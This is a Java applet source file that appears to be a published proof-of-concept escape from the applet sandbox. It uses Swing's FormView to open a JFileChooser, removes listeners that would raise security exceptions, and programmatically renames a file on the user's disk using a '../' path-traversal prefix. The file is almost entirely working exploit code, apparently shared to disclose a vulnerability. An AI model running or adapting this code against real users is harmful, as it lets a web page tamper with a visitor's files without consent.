package ex7.filechooser;
import java.awt.*;
import java.awt.event.ActionListener;
import java.io.File;
import java.lang.reflect.*;
import javax.swing.*;
import javax.swing.event.ListDataListener;
import javax.swing.filechooser.FileFilter;
import javax.swing.text.*;
import javax.swing.text.html.*;
public class Example extends java.applet.Applet {
void execute(ActionListener al) {
Timer timer = new Timer(0, al);
timer.setRepeats(false);
timer.start();
}
public void start() {
try {
demo();
} catch (Throwable t) {
t.printStackTrace();
}
}
private void demo() throws Throwable {
// Use FormView to create a JFileChooser
final SimpleAttributeSet as = new SimpleAttributeSet();
as.addAttribute(StyleConstants.NameAttribute, HTML.Tag.INPUT);
as.addAttribute(HTML.Attribute.TYPE, "file");
// Use proxy to save space and confuse blog readers
Element element = (Element) Proxy.newProxyInstance(null, new Class[] {Element.class}, new InvocationHandler(){
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable {
if (method.getName().equals("getAttributes")) {
return as;
}
return null;
}
});
FormViewAccessor fv = new FormViewAccessor(element);
Box box = (Box) fv.createComponent();
JButton button = (JButton) box.getComponent(2);
execute(button.getActionListeners()[0]);
// get a ref to the JFileChooser
JDialog dlg = null;
JFileChooser fc = null;
whileLoop:
while (true) {
for (Window w : Window.getWindows()) {
if (w.getClass().getName().equals("javax.swing.JDialog")) {
try {
dlg = (JDialog) w;
JRootPane root = dlg.getRootPane();
JLayeredPane layered = (JLayeredPane) root.getComponent(1);
JPanel panel = (JPanel) layered.getComponent(0);
fc = (JFileChooser) panel.getComponent(0);
break whileLoop;
} catch (Exception t) {
}
}
}
}
// change folder
JPanel panel = (JPanel) fc.getComponent(0);
JComboBox combo = (JComboBox) panel.getComponent(2);
// remote listeners, because they would cause security exceptions
ActionListener comboSelectionListener = combo.getActionListeners()[0];
combo.removeActionListener(comboSelectionListener);
AbstractListModel alm = (AbstractListModel) combo.getModel();
for (ListDataListener ldl : alm.getListDataListeners()) {
alm.removeListDataListener(ldl);
}
// first folder in combo
combo.setSelectedIndex(0);
// call the listener
execute(comboSelectionListener);
// rename
JPanel filePane = (JPanel) fc.getComponent(2);
ActionMap map = filePane.getActionMap();
Action editFile = (Action) map.get(map.keys()[1]);
Container child1 = (Container) filePane.getComponent(0);
Container child2 = (Container) child1.getComponent(0);
Container child3 = (Container) child2.getComponent(0);
Thread.sleep(1000);
JList list = (JList) child3.getComponent(0);
// 6th file
list.setSelectedIndex(5);
Timer timer2 = new Timer(0, editFile);
timer2.setRepeats(false);
timer2.start();
Thread.sleep(1000);
JTextField f = (JTextField) list.getComponent(1);
// define new name
f.setText("../new" + f.getText());
// execute rename
execute(f.getActionListeners()[0]);
}
}
class FormViewAccessor extends FormView {
public FormViewAccessor(Element elem) {
super(elem);
}
// change visibility protected -> public
public Component createComponent() {
return super.createComponent();
}
}